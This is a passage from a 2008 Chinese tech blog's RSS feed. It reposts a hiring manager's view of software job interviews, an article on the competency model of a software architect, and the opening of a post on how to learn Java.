<img src ="http://www.cnitblog.com/seeyeah/aggbug/46279.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2008-07-03 21:47 <a href="http://www.cnitblog.com/seeyeah/archive/2008/07/03/46279.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>软件行业应聘时面试官在想什么</title><link>http://www.cnitblog.com/seeyeah/archive/2008/06/30/46136.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Sun, 29 Jun 2008 16:11:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2008/06/30/46136.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/46136.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2008/06/30/46136.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/46136.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/46136.html</trackback:ping><description><![CDATA[摘至csdn论坛：<a href="http://topic.csdn.net/u/20080619/16/58A997E9-6D4D-481A-8411-5210889AD500.html">http://topic.csdn.net/u/20080619/16/58A997E9-6D4D-481A-8411-5210889AD500.html</a><br><br>
<hr>
每个人无论是否真心想去一个公司，都希望能通过面试，面试也是招聘中最关键的一环，尤其对那些业务已经成形的部门，一小时内员工将完成面试，但是面试结果将在两年内影响员工的待遇和空间。 <br><br>一般公司的招聘是由人力资源和业务负责人共同负责，业务负责人的意见分量大些，作为软件工程师我从业9年，从第三年开始作为业务负责人面试团队成员，读过上千份简历，面试过差不多几百人，招聘过40－50名员工，也多次被别人面试过，愿意从面试官的角度来说说面试，尤其是业务型的面试官是怎么挑选人员，也许对大家有些参考。 <br><br>面试官的风格由于经历、水平和公司文化来说差别很大，但是无论是什么样的面试官，其面试的目的就是希望了解面试者的两个方面，应聘者是否有足够的技能，应聘者是否能和现在的团队融合并完成期望的工作，因此作为面试者一定要明白，您的所有行为，都是为了证明在这两方面你是合格的，很多应聘人重视技能的表达，但是忽视了是否能融入管理体系也是面试官非常看重的，面试和考试不同，考试在找最优秀的学生，招聘是挑最合适的人，例如性价比最好的，更容易融入团队文化的，甚至是更能和现在的工作人员搭配的人。 <br><br>至于工作应该选择大公司还是小公司，选择外企还是创业团队，这些问题其实是职业规划，涉及到每个人本身的特点，本文不做论述。 <br><br>本文涉及的观点，仅从我了解的业务面试官的一般看法来描述，并不认为这样是对的，而且对牛人完全无效，例如你毕业于名校，或者在应聘领域中有很好的成功经验，甚至你就是大拿，那么你根本不用考虑面试官想什么，甚至不用准备，因为你过去的努力和成绩，就是你最好的准备。还有种情况是你和那个公司的老板是朋友，他直接推荐你，但大部分软件公司里，业务面试官反感这种情况，他们通常用不出你的费用的办法来顶住老板的要求。 <br><br>说实话，面试成功关键是看你过去的努力程度和你是个什么样的人，技巧的用处很少，因为还有试用期，最终总是会看到你真实的一面，技巧不能让你被聘用，但是能让你有一个好的起点，第二，大部分起到决定作用的面试官，包括我自己，作为业务负责人，面试官盼望早日找到合格同事的心情比你找工作的心情更迫切，他们希望找到好的合作者以完成工作，也许有水平问题，但基本是公正的。了解面试官的心理只是为了加快沟通过程，同时帮助你有好的待遇和开始。 <br><br>应聘前，在挑选好你希望去的公司后，无论是托人介绍还是上网应聘前通常是先准备简历，在一切面试行为开始之前，最重要的是要了解这个公司是干什么的，和你应聘的职务是干什么的，怎么了解，上网查，找熟人或行业老手问，如果这个不清楚，那基本上败了一半，因为你很有可能不能针对性的准备而浪费双方的时间。 <br><br>简历在一般公司里是由人力资源先挑选后，再由业务负责人确定，或者人力资源会先做第一轮面试，人力资源的简历挑选相对松，如果你的简历连不熟悉业务的人力资源都过不去，那还是再下功夫写好简历吧。 <br><br>业务面试官挑选简历主要看两方面，首先要有好的内容，在基本的姓名年龄和联系方式外，工作经历和精通技能一定要写出你和别人有区别的地方，而且能和你希望从事的工作沾边，如毕业学校，有价值的证书，从事过相关工作，你觉得自豪的经历（特殊的社会实践、大项目等），最好在一页纸上完成，因面试官要看的简历实在太多，因此大部分简历，面试官只会重点看第一页。如果你没有任何值得写的经历，那第二个要求是尽量做美观，字体统一，对齐，如果简历上格式不整齐的，会让面试官理解你是一个马虎且不认真的人，认为你不大愿意花力气做好事情。 <br><br>很多简历上第一页是类似自荐书，写好了是有用，但是现在大家都是抄来抄去，已经没有人看，还是不要了吧。另外如果你在简历上写了你精通某项技能，请确定你熟悉这个领域，否则一旦面试官发现您的精通只是知道这个技能的名字，那么他会推断你其他的技能的精通也是胡说。 <br><br>简历投递后，如果被通知面试而且业务负责人参加的话，恭喜你，这个已经成功一半了，大部分被面试的人其实只要合格，都能被录用，因为面试官作为业务负责人，招聘并非主业，也不想折腾，一则其他事情很多，二则面对不同的人说一大堆同样的话，也很无聊，唯一提醒的是，面试时间很重要，因为后面的人总是有更苛刻的标准，如果你不是牛人，早日面试，也许能在面试官期望值比较低的时候就被确定，当然代价也有，这个时候面试官还处于比较理想的状态，不太容易谈出高待遇。 <br><br>在通知面试前，准备你的经历的讲解，这是常见问题，这个讲解要体现你的思路清晰和现在应聘职务的关系，简单说就是3个问题，你现在是干什么的？你将来要干什么？你过去是干什么的？这三个问题不是按时间顺序从过去到现在再到将来，而是从现在到将来再到过去。其奥妙在于：如果你被雇用，面试官选中的是现在的你，他希望利用的是将来的你，而这将来又基于你的历史和现状。在经历中，必须讲明你的经历和你应聘的职务的关系，例如你对这个职务的理解和表现出你的经历中已包含这个职务需要的技能。 <br><br>以我为例子，对于同样的经历，如果我应聘技术总监，我会主要描述我做过的项目中对于技术结构的考虑，包括成功和失败的总结。如果我应聘项目经理，我会描述我做过的项目中的主要背景，业务需求，功能划分和难点，如果我应聘部门经理，我会描述我这些项目中，我的团队建设情况和如何根据项目特点做人员分工和质量监督。准备好经历描述后，找你的太太或者女友练习，练习到她虽然听不懂，但是感觉你条理清楚并且语气连贯。 <br><br>其次，猜猜他们希望你精通哪些技能，如果忘记了，找资料看一看，如果看了后还不会，那赶快找你精通的技能，如果没有，把待遇期望值降下来。 <br><br>最后，如果你跳过槽尤其是每年跳一次，那么想清楚如何解释你为什么要离开原来的公司，不要指望用什么我希望有更好的发展机会来搪塞，面试官一定会花费很多时间来了解真实原因，你如果没有准备，在现场你很有可能开始抱怨原来的公司不好，甚至控诉原来公司的所受到委屈和不公正，这样就糟了，每个面试官都害怕他成为你下一个抱怨对象。 <br><br>你需要一个好的第一印象，首先是服装打扮的准备，大部分公司在骨子里都是保守的－－从他们要求高管穿西服就就可以看出，因此你的面试打扮最好中规中矩，和你应聘的职务一致，没有人会对一个装扮邋遢不得体的应聘者心生好感，而且你要相信，大部分面试官的年龄都比你大，他们可能不太了解和欣赏尤其是80后时尚，我也认为他们应该改变，但是很遗憾，在面试时他们处于决策者地位，只能是你适应他们。 <br><br>例如，如果你应聘初级职务，你满身名牌，可能导致面试官认为你家境很好，不会珍惜这个工作机会，如果你应聘技术类职务，如果你有长长的红指甲，或者满身首饰，面试官会认为你不大象个埋头努力工作的人，对于那些浓妆艳抹和留着奇怪的着装的，面试官不反对你的个性和自由，但是他们会担心你吓跑客户，尤其是吸引异性的时尚发型可不要随便拿到这里，因为它固然很有冲击力，但对于面试官来说却毫无吸引力，反而会让他认为你是一个我行我素的人而不好管理，如果你过于不修边幅或衣着寒酸，即便你技能合格，可能会导致你无法谈出一个好待遇，因为面试官认为你过去的基础太低，无需付出高代价。我见过一个留着直立长发且满身金属的男孩，我觉得他更适合做黑客，在现场我无法让客户相信他是一个合格的技术人员。 <br><br>人的打扮和服饰会传递很多信息去影响面试官的印象，就好像你在修理电脑或冰箱的时候，也会认为一个衣服整洁得体，发型简单的工程师有较好技能，实在不知道应该如何做，去看看银行柜员。 <br><br>其次是时间，有些时候，那个公司所处的位置你不熟悉，那么你得想办法保证在你约定的时间内到达，也许有很多困难，但是如果面试都不能按时到达，面试官会认为今后的工作中，你也很难按时完成，因为肯定也存在其他困难。 <br>
<img src ="http://www.cnitblog.com/seeyeah/aggbug/46136.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2008-06-30 00:11 <a href="http://www.cnitblog.com/seeyeah/archive/2008/06/30/46136.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Missing U....</title><link>http://www.cnitblog.com/seeyeah/archive/2008/06/27/46054.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Fri, 27 Jun 2008 13:46:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2008/06/27/46054.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/46054.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2008/06/27/46054.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/46054.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/46054.html</trackback:ping><description><![CDATA[<img src="http://www.cnitblog.com/images/cnitblog_com/seeyeah/3167/o_bill.JPG" border=0>&nbsp;<br>
<div><embed name=ssss pluginspage=http://www.macromedia.com/go/getflashplayer src=http://vhead.blog.sina.com.cn/player/outer_player.swf?auto=1&amp;vid=14651116&amp;uid=1277711385 width=480 height=370 type=application/x-shockwave-flash allowFullScreen="true" allowScriptAccess="always"></embed></div>
<img src ="http://www.cnitblog.com/seeyeah/aggbug/46054.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2008-06-27 21:46 <a href="http://www.cnitblog.com/seeyeah/archive/2008/06/27/46054.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>做人、做事，做架构师——架构师能力模型解析</title><link>http://www.cnitblog.com/seeyeah/archive/2008/05/30/44623.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Fri, 30 May 2008 13:27:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2008/05/30/44623.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/44623.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2008/05/30/44623.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/44623.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/44623.html</trackback:ping><description><![CDATA[摘自：<a href="http://www.csdn.net/" target=_blank><img alt="" src="http://www.csdn.net/images/newcsdnlogo.gif"></a><br>
<hr>
要想从一名普通程序员发展成为优秀的架构师，&#8220;个人特性&#8221;与&#8220;技术技能&#8221;缺一不可；而&#8220;技术专业能力&#8221;、&#8220;人际关系能力&#8221;和&#8220;业务能力&#8221;更是优秀架构师重要的三种能力。<br><br><br><br><strong>文 / 周爱民（《程序员》2008年4月刊）</strong><br><br><br><br><strong>引子</strong><br><br>究竟是什么让你在同一个位置上——例如程序员或技术负责人——工作了三年、五年或者更久，而仍然得不到任何的发展空间？你觉得自己已成为技术圈中的大牛，并信心满满地去拿明天就要颁发的某某大奖，然而却仍然停留在同样的技术职位上，去年到今年涨的薪水甚至填不平物价升幅？于是，你开始对老板不满，对员工不满，对昨天升职的那个同事不满&#8230;&#8230;你开始计划明天就要跑单，或者准备考虑提出加薪却又心怀忐忑。<br><br>如果技术人员有发展的轨迹，那么他要么&#8220;看透工具的本质，把关注点转移到&#8216;团队&#8217;的圈子里去&#8221;，要么&#8220;顺着代码铺就的道路，亦步亦趋地成为良匠大师&#8221;。仅以技术方向而言，你大概可以做到架构师、总架构师甚至首席架构师；但问题是：你现在还只是一个程序员。那要如何才能踏上通往架构师之路呢？本文为你解析一个架构师的能力模型。<br><br><strong>你能不能做一个好的架构师？</strong><br><br>架构师不是界定一个技术高下的职位名称，而是一个职务。所谓职务，包括职——职位，务——工作。前者决定了你具备哪些资源，可以影响到怎样的范围，以及面向的机构，后者则简单地是你需要完成的工作列表。<br><br>所以我说&#8220;架构师&#8221;不是指&#8220;一个能做架构的人&#8221;。前者是把架构师当职能，后者是当工人。能做一份工作列表中的事，并不等于就成为相应职位上的人。在管理体系里面，你的个人特性决定了你在哪个位置，而技术技能只是做事实施的必需。架构师这个职务，同时要求较高的个人素质和技术能力，因此它的进取之路总结起来就是：做人、做事，做架构师。<br><br>因此&#8220;模型&#8221;由&#8220;个人特性&#8221;和&#8220;技术技能&#8221;两个方面构成，在第一张图中，我特别说明&#8220;个人特性&#8221;既包括人际关系的能力，也包括（具体）业务能力；&#8220;技术技能&#8221;也是如此。所以个人特性主要与&#8220;做人&#8221;有关，部分地也包含&#8220;做事&#8221;的要素。<br><br><img alt="" src="http://images.csdn.net/20080530/123.jpg"><br><br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 图1 架构师能力模型<br><br>&#8220;有效沟通&#8221;以及&#8220;学会谈判&#8221;与做具体的事无关，是个人能力特性的公共方面。前者是过程，后者是知道如何定目标与求结果。而&#8220;风险与防备&#8221;是做事过程控制的关键，与前面两项正好构成了一个做事基本能力的完整体系。基本上，这三项个人特性都是一个&#8220;普通程序员&#8221;所不具备的，甚至在大多数情况下，普通程序员并不愿意去具备这样的个人特性，因为在许多陷于技术泥淖的开发人员看来：沟通总是会使事情变得更加麻烦，谈判则徒耗时间而无济于事。然而事实上，在整个的架构决策过程中，架构师需要不停地沟通与谈判。将&#8220;架构&#8221;变成&#8220;决策&#8221;的过程，其实就是对各个技术角色（及其思想）兼容并包的过程，你需要不断地协调需求、实现之间的各种问题，也需要面对各种投资者（时间、资金、人才等方面的决策者）进行谈判，以确定项目的规模——没有规模也就没有范围，没有范围如何展开设计呢？<br><br>一部分开发人员会认为上述过程是&#8220;项目经理&#8221;的事情，但真的如此吗？当你作为一个更高级别的架构师，以至于要影响到多个项目的决策时，你就全然不会有这种感受了。因为这种情况下，你的决策将先于项目的启动，或者说你已经不单单是一个技术角色了。<br><br>设计是架构能力的一部分，但架构师不是设计师——看清楚二者之间的不同，你才真正迈出了架构师职业生涯的第一步。<br><br><strong>抽象是思维能力、模型化是表达能力</strong><br><br>个人特性中另一个非常重要的方面是&#8220;抽象思维&#8221;，而这是与架构师角色直接相关的一种能力。这种能力既有职业技能特征，又是普遍性的能力。<br><br>所谓普遍性的能力，是指&#8220;抽象&#8221;在我们——作为人这种个体的——生活中无处不在。例如我们说花、草，说桌、椅&#8230;&#8230;我们用语言去指称任何一个既已存在的（可以脱离我们的语言而自然存在的）事物时，就用到了抽象。说&#8220;桌子&#8221;的时候，既没有描述桌子的具体形式，也没有说明它的规格，但我们用这个名词时，所有人都知道&#8220;桌子是什么&#8221;。所以，名词概念是整个抽象逻辑系统中的主体。如果失去了这些名词定义，我们基本上不能说话，也不能描述任何东西——那便到了&#8220;只可意会不可言传&#8221;的境地。<br><br>用现有的成熟语汇去描述你的系统时，大多数人会理解你所表达的含义，例如我们说&#8220;这个系统设计为一个三层结构&#8221;。然而架构师面临的系统在许多细节上并不见得能够用成熟的语汇去描述，因此必须自已构建一个抽象系统，这就需要概念抽象能力、概念表达能力和基于概念的逻辑表达能力。<br><br>概念抽象能力是一种思维能力。简单地说，就是&#8220;把目标分解或概括清楚&#8221;：你要么概而言之&#8220;它是什么&#8221;，要么详细地说明&#8220;它包括什么&#8221;。必须使用大量的语汇来陈述这个&#8220;什么&#8221;，这不单单是表达为文字，也表达为你在思想过程中的一个完整系统。通常用的方法是&#8220;映射系统&#8221;。例如你可以用数学中的&#8220;数轴&#8221;来映射&#8220;实数域&#8221;。将目标系统形式化为一个概念化的、可讨论的结构系统后，你的抽象过程就基本结束了。<br><br><img alt="" src="http://images.csdn.net/20080530/架构2.jpg"><br><br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 图2 能力模型中的个人特性<br><br>然而这个&#8220;抽象系统&#8221;可能只构建在你的思维意识里，还必须把它描绘出来。因为不能只是你自己思考清楚，系统就能设计完成。这个&#8220;描绘&#8221;就依赖于后面两种表达能力，一种是描绘概念实体，一种是描绘实体上的逻辑——有趣的是，这似乎又回到了&#8220;程序＝结构＋算法&#8221;。<br><br>现在大家回过头来看看UML，或者更多种类的ML（建模语言），他们就用于表达这两个方面的东西：要么是概念实体（例如用一个框表明系统边界），要么是实体上的逻辑（例如用箭头表明逻辑时序）。<br><br>所以大家应该清楚，我们再如何称赞UML，它也只是一种对模型化系统的&#8220;表达能力&#8221;，你只能把它当一种辅助表达的工具去使用，它本身既不能帮助思考，也不见得能作为抽象过程中的或抽象思维环境中的参考。<br><br>任何一个优秀的架构师都有自己独特的思考方式，这决定了他如何抽象系统，以及如何&#8220;创造性地&#8221;设计与构画这个系统。这种&#8220;独特的思考方式&#8221;贯彻他从孩童开始的整个成长过程，直至他形成独立的社会观、人生观与世界观。他认识世界的方式和接受世界的能力决定于他如何思考，也反映了他这种思考方式的&#8220;独特性&#8221;。但这并不表明他有特立独行的行为特性（我们这里只说他的思考方式），我们不应介意他是否用某种语言（例如UML或者形式化编程语言）来表达他的思考结果。<br><br><strong>推动：设计做大，实施做小</strong><br><br>架构师首先是把问题的真正目标确定下来，然后变成系统设计、平台设计或架构设计。而在此之后设计输出将会有两个方向的发展，一是被忠实地贯彻下来，二是被变形地发展下去。两个方向都存在致命的危险：架构最终能否被完整实现。对前者来说，可能是架构设计过度，或设计本身出现了错误；后者则是对架构直接的伤害。<br><br>所以架构师必须参与实施的全程——尤其是在架构被映射为目标系统的前期。在这个阶段中，架构师的任务就是推动架构实施，以保证在项目全程的设计／架构／体系的一致性。除了直接跟设计师或设计团队沟通，以保证他们的设计在你可以控制的范围之内以外，架构师还必须有阶段化设计的能力。这种能力用于将一个原本规模宏大的架构设计，变成较小的、易于实施的、对开发团队来说可控的关键点。例如在体系层次的规划上，设计可能是独立、异质的、可迁移的存储框架来实现数据层，但在（前期的）实施上，这里可能被表达为本地数据库，并要求前端开发人员必须通过一个清晰的数据交互层来访问——例如一组数据存取接口，或一个独立数据服务组件。开发人员可能在这里遇到障碍：因为要通过这些中间层来访问本地数据库，纯粹是多余的。然而，正是这&#8220;多余的工作&#8221;提供了系统弹性，为并行团队开发公共存储服务争取了周期，也为将来的灵活部署与数据迁移提供了可能。<br><br>这里的关键就在于，无论原始系统设定有多大，实施时总是在&#8220;做小&#8221;。每一个局部的实施块都是可控的，并为它在整个体系空间中留下了位置和接口，这样才可能由&#8220;小的部分&#8221;做大。一个大系统的架构师可能同时在考虑许多个项目中的、不同位置的架构，并且清楚这些项目最终的总体规模。而这，就是平台架构师和体系架构师所涉的领域。<br><br><img alt="" src="http://images.csdn.net/20080530/架构3.jpg"><br><br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 图3 架构师模型图中的&#8220;实现能力&#8221;<br><br>架构真的是&#8220;好不好&#8221;的问题吗？如同我对工程的理解一样，架构问题的根本，也并不在于它是否完美或漂亮，而是在于是否合用。因此架构师必须对实施架构的团队以及实施过程有充分了解，知道他们的能力缺陷，知道实现过程要消耗的资源，清楚每个环节可能的故障以及先兆。只有这样，架构师才能设计一个让这个团队能实现，而且在实现过程中能受控的架构。<br><br>要知道，你作为架构师被请来，不是画几张图纸交给项目经理，说：你们去做吧，做不出来是你们不会做。即使你可以身体力行，在这个团队中教大家、培养大家，那么公司的开销呢？风险呢？这些东西难道就不考虑了？项目的周期因为实现的复杂程度而无法控制时，项目就死掉了。那么，追根究底来说，是不是架构师的问题？是啊，你为什么会做了一份&#8220;不合用&#8221;的架构呢？——你都不知道项目如何开发、由谁实施、如何管理等等，又如何能面对这些实际环境去设计架构呢？<br><br>所以这一部分能力，是要在你的开发经验、团队经验以及用人识人的经验中去找的。参考模型图的&#8220;实现能力&#8221;下的&#8220;设计能力&#8594;了解你的主要沟通对象&#8221;和&#8220;架构推行&#8221;等分支，对你或有一些可用的提示。<br><br><strong>局部与全局</strong><br><br>架构是一个从全局到局部的过程，而实施正好反过来，是从局部到全局。这也正是&#8220;设计做大，实施做小&#8221;的另一个层面的含义。设计大才可以见到全局，才知道此全局对彼全局的影响；实施小才可能关注细节，才谈得上品质与控制。<br><br>事实上，大多数情况下架构是在为&#8220;当前项目之外&#8221;去考虑，这可以看成全局关注的一个组成部分。因此我们需要界定所谓&#8220;全局&#8221;的范围：超出公司或整个产品系列、产品线或规划的范围才是多余的。<br><br>所以当架构决策谈及&#8220;全局&#8221;时，其目标并不见得是&#8220;保障当前项目&#8221;，而又必须由当前项目去完成。<br><br>一个经常被用到的例子是：如果仅为当前项目考虑，那么只需要做成DLL模块；如果为产品线考虑，可能会是&#8220;管道＋插件&#8221;的结构形式。而&#8220;管道＋插件&#8221;的形式显然比做成DLL模块更费时，这个时间成本（以及其它成本）就变成了当前项目的无谓开销。<br><br>这种全局策略对局部计划的影响是大多数公司不能忍受的，也被很多团队所垢病。然而这却是架构师角色对体系的&#8220;近乎必然&#8221;的影响——如果你试图在体系中引用架构师这个角色的话。一些情况下，体系能够容纳这种影响，例如&#8220;技术架构师&#8221;试图推动某种插件框架，而正好开发人员对这项技术感兴趣，那就顺其自然地花点工夫去实现了。但如果不是这样，实施者或实施团队看不到&#8220;多余的部分&#8221;对他们的价值时，来自局部的抵触就产生了。<br><br>这种情况下，平衡这些抵触就成了架构推行的实务之一。在我看来，&#8220;平衡&#8221;是全局的艺术和局部的技术。也就是说，一方面架构师要学会游说，另一方面也要寻求更为简洁的、成本更小的实现技术。只有当整个体系都意识到（你所推行的）架构的重要性，而且实施成本在他们可以接受的范围之内时，他们才会积极行动起来。<br><br>所以所谓平衡，其实也是折衷的过程。构架师只有眼中见大，才知道哪些折衷可以做，而哪些不能。所谓设计评估（模型图中的实现能力-&gt;设计能力-&gt;设计评估分支）并不是去分析一个设计结果好或不好，而是从中看到原始的需求，看到体系全局的意图，然后知道在将设计变得更为&#8220;适当&#8221;时可以做哪些折衷。同样的原因，架构师也必须知道自己的决策会产生的影响，才能控制它们，以防它们变成团队的灾难。有些时候，架构师甚至需要抛弃一些特性，以使得项目能够持续下去。因为产品的阶段性产出只是整个战略中的一个环节，而不是全部。<br><br><strong>其它</strong><br><br>&#8220;怎么做一个架构师&#8221;这个问题得分成两个部分来看，一个是&#8220;做到&#8221;，一个是&#8220;做好&#8221;。由于架构师本身不过是一个技术职位，所以时机成熟了自然会做得到。但问题是，真有一天你被放在这个位置上了，你能做得好吗？<br><br>我浏览过几套所谓培训机构的有关架构师的教程，也翻阅过一些讲架构的书。我发现他们普遍地是将架构作为一种&#8220;职业技术&#8221;来讲，就像培养程序员或者缝纫工一样来教育。但就我的经验来说，架构并不是一件纯粹表现技术能力的工作，所以并不是翻几本书学几种方法就可以投入&#8220;实战&#8221;的。更深层的问题是，架构师其实不是&#8220;战&#8221;出来的。昨天跟同事讨论这个话题，他把我们这几年来的一些思考用了三句话来概括，非常精彩：从无到有的，是架构；从表到里的，是抽象；从粗到细的，是设计。<br><br>那么到底什么是架构呢？从上面的概括中你是看不到答案的。到底如何做架构呢？从本文中你也是看不到答案的。然而我说，&#8220;你看不到答案&#8221;的根源其实是在于你的眼光与心性——后面这个词换成现代白话，就是&#8220;思想&#8221;。真正阻碍了你成为优秀架构师的，也许正是你既有的知识与思想方法，扔掉它们，接受一些全然有别的信息，也许正是良好的开端。<br><br>或许你现在正愤愤然：这篇文章怎么空洞无物？——我甚至能想象到一些读者的表情。然而请在问题面前停下来，不要急于给出答案。正如你将&#8220;?&#8221;稍微变下形，它就成为了&#8220;!&#8221;一样，问题的本身，就是答案。<br><br>
<img src ="http://www.cnitblog.com/seeyeah/aggbug/44623.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2008-05-30 21:27 <a href="http://www.cnitblog.com/seeyeah/archive/2008/05/30/44623.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Java学习方法的一点个人见解-完整版     </title><link>http://www.cnitblog.com/seeyeah/archive/2008/04/18/42518.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Fri, 18 Apr 2008 15:16:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2008/04/18/42518.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/42518.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2008/04/18/42518.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/42518.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/42518.html</trackback:ping><description><![CDATA[摘至<a href="http://blog.csdn.net/java2000_net/archive/2008/04/17/2302020.aspx">&nbsp;Java学习方法的一点个人见解-完整版</font></u></a><br>PS 虽说标题是Java学习方法，但是应该适合任何IT技术人员的。<br>
<hr>
论坛和QQ里经常有人问到类似的问题。我根据我的个人情况，大致整理一下自己的心得。&nbsp; <br><br><strong><font size=4>1&nbsp;爱好。 <br></font></strong>&nbsp;&nbsp;这个是动力，如果你不爱Java,不爱计算机，而是喜爱游戏，娱乐或者其他的，你不适合做程序员。 <br>&nbsp;&nbsp;我高中接触计算机，那时候还是AppleII，绿色显示器的，我因为入学学习成绩一般，没有列入学习计算机的队伍。我是凭个人关系，我室友的叔叔，是机房负责人，呵呵，&nbsp;挤进去的。高三，剩下的只有2人了。&nbsp;另一个考到了四川的一个科技大学，我忘了，是很牛气的学校。 <br>&nbsp;&nbsp;大学，我没有考上计算机系，但是我基本上和计算机系的人混得最熟，他们的机房我去的非常多。晚上经常不回宿舍，吃方便面，小浣熊干脆面，&nbsp;几个朋友一起弄东西，主要是汇编和C语言，还有玩三国2和大富翁2的游戏。 <br>&nbsp;&nbsp;毕业，在化工厂混了5年，实在没兴趣，转行到IT了，还算顺利。&nbsp; <br><br><font color=#ff0000><strong>请注意：我是27岁改行进入IT的，那些总说该怎么样怎么样的人，应该知道怎么做了吧！&nbsp;现在开始还不晚!</strong></font> <br><br>&nbsp;&nbsp;如果你能在电脑前，一坐就是4-5个小时，你能为了学习而阅读英文的资料，那么你至少对编程是热爱的，具备了程序员的潜质。 <br><br><strong><font size=4>2&nbsp;学会取舍，用到什么就学什么</font></strong> <br>&nbsp;&nbsp;编程路上知识点甚多，你能掌握的永远是很少的一部分，新的技术不断出现，你难道能跟上？&nbsp;相反，编程思想确是相对稳定的。 <br>&nbsp;&nbsp;对于新手，到书店找一本入门的书，用最快的速度读一遍，不要超过3天。&nbsp;记住，你不需要理解，因为你理解不了，你只需要对那些东西有个大概的意识，噢噢噢，好像有那么几页有这个东西，能达到这个效果就非常不错了。&nbsp;千万不要一开始从第一章就仔细的看，那没用。 <br>&nbsp;&nbsp;看完之后，找你最感兴趣的部分看，如果看不懂哪些内容，就去翻其他部分，然后马上返回。这部分看懂后，马上开机训练。 <br>&nbsp;&nbsp;对于已经有经验的人，新知识你可以看看他的介绍，Release&nbsp;Note&nbsp;或则一些评论性文章，然后看看自己手头有没有合适的工作可以用到，如果用不到，停止继续研究，如果能用到，则深入的看一遍他的文档，方法和前面一样，不能太细。&nbsp;看完后，如果能运用，则开机尝试，并仔细的阅读即将使用到的部分。 <br><br><strong>有网友问</strong>：怎么选入门的书？ <br><strong>我回答</strong> <br>书店，搜索，&nbsp;&nbsp; <br>Java&nbsp;入门&nbsp; <br><br>你能看到一大堆，随便一本，看！记得不要买！！！&nbsp; <br><br>入门书差不多！不要太细的看。&nbsp; <br><br>换一本，加深印象&nbsp; <br><br>回家，电脑上实践，或者找电子版的书！&nbsp; <br><br>转天再去。 <br><br><br><strong><font size=4>3&nbsp;技术服从于业务</font></strong> <br>&nbsp;&nbsp;技术是用来解决问题的，而不是用来炫耀的。当技术与业务有矛盾时，业务永远在第一位。 <br>&nbsp;&nbsp;不要和业务人员过度的讨论(注意不是争吵)技术如何如何？&nbsp;有什么技术难点无法满足业务需求之类的。 <br>&nbsp;&nbsp;技术人员可以作出自认为很好的东西，但不一定能卖的出去。世界已经不再是【好酒不怕巷子深】的年代了。除非你真的有强的专利技术。 <br><br><strong><font size=4>4&nbsp;认识自己</font></strong> <br>&nbsp;&nbsp;不是每个人都能做到CTO,CEO的，金字塔的顶部的空间是很少的。由于家庭环境和个人性格不同，而高层领导的强项并不是在技术，而是在沟通和管理。也许你不服，也许你不甘心，但事实如此，只有付出更多的努力，才有可能往塔尖靠近，注意是有可能，不是一定。 <br><br><strong><font 